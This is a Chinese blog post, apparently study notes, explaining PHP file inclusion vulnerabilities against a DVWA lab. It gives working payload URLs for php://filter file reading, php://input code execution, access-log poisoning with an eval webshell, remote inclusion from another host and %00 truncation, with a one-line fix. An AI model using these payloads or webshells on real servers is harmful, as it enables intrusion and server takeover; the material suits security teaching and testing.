• 文件包含漏洞


    1.文件包含原理

    程序在开发的时候,未对包含的文件进行严格的过滤,攻击者可以构造自己的图片木马当作php执行

    2.文件包含分类 

    • 本地包含

    不需要条件,只要有程序代码漏洞,默认条件就可以包含漏洞

    • 远程包含

    需要allow_url_include=on(开启远程包含功能)、magic_quotes_gpc=off(魔术符号关闭)

     http://10.0.0.130:91/123.php?filename=http://192.168.134.1:90/123.jpg
    第一个为有包含文件的主机第二个是被攻击的

    插入木马可以直接用菜刀连接 

    3.包含漏洞里面的四个函数

        include    返回一条警告
        include_once
        除了原有 include 的功能以外,它还会做 once 检测,如果文件曾经已经被被包含过,不再包含
        require      一个致命的错    重要的文件
        require_once
        除了原的功能一外,会做一次 once 检测,防止文件反复被包含

    这2个涵数include(),include_once()不重复加载,require()和require_once()遇到错误退出

    4.如何快速挖掘包含漏洞 

    审计(白盒测试)直接在源代码里搜索这四个函数 include,include_once,require,require_once

    渗透测试(黑盒测试)看参数,如果不是脚本的形式被解析成脚本就是有包含函数

    5.包含漏洞能做什么 

    读文件     有特殊字符一定要转换为baes64

    例如:http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
        换为low 

     更改这里,进行编码

    修改过后的   php://filter/read=convert.base64-encode/resource=../view_help.php

    右边的内容经过base64加密,需要解码

     写文件/命令执行
     注意:只有在allow _url_include为on的时候才可以使用

     http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据包为:

     执行成功

    一句话木马写入方法:');?>
     写一句话木马

    访问的是当前路径(写木马的地址)

    直接用菜刀连接即可 

    包含绕过

    • 包含日志文件   \logs\access.log

    写入一句话要在burp写入,在搜索会被编码
     没有日志文件

    配置文件的这两个去掉井号

    是空的

     http://10.0.0.130:91/dvwa/%3C?php%20@eval($_POST[%27123%27]);?%3E  传入一句话木马

    http://10.0.0.130:91/dvwa/vulnerabilities/fi/?page=../../../../Apache/logs/access.log

     

    不会被执行,因为被编码了

     在burp内输入语句

    访问日志文件就可以直接访问语句输入的

    • 截断包含(%00)

           这种方法只适合于magic_quotes_gpc=off的时候,在PHP 的老版本中也是存在着一些其他的截断问题

    1.  
    2.     if(isset($_GET['page'])){
    3.         include $_GET['page'] .".php" ;
    4.     }else{
    5.         include 'home.php';
    6.     }
    7. ?>
    8. ##写入记事本

    http://10.0.0.130:91/2.php?page=phpinfo.jpg  进行拼接(无法访问)

      切换低版本

    http://10.0.0.130:91/2.php?page=phpinfo.jpg.php

     http://10.0.0.130:91/2.php?page=phpinfo.jpg%00

    •     不同协议绕过

            http/https
            File
            php
            ssh2

     6.修复


     对文件严格过滤,写死

  • 相关阅读:
    找到所有数组中消失的数字
    高精度数字压力表丨铭控传感多款数字压力表在多场景中的应用
    VMware虚拟机报错(虚拟化性能计数器需要至少一个可正常使用的计数器)
    Android入门第17天-Android里的ProgressBar的使用
    洛谷C++简单题小练习day12—寻找最小值小程序
    Redis 的发布和订阅
    C/C++教程 从入门到精通《第五章》—— 制作推箱子游戏
    常用redis-lua脚本
    elasticsearch-head浏览器(google)插件安装使用
    高等数学(第七版)同济大学 习题7-6 个人解答
  • 原文地址:https://blog.csdn.net/2301_79194110/article/details/133124643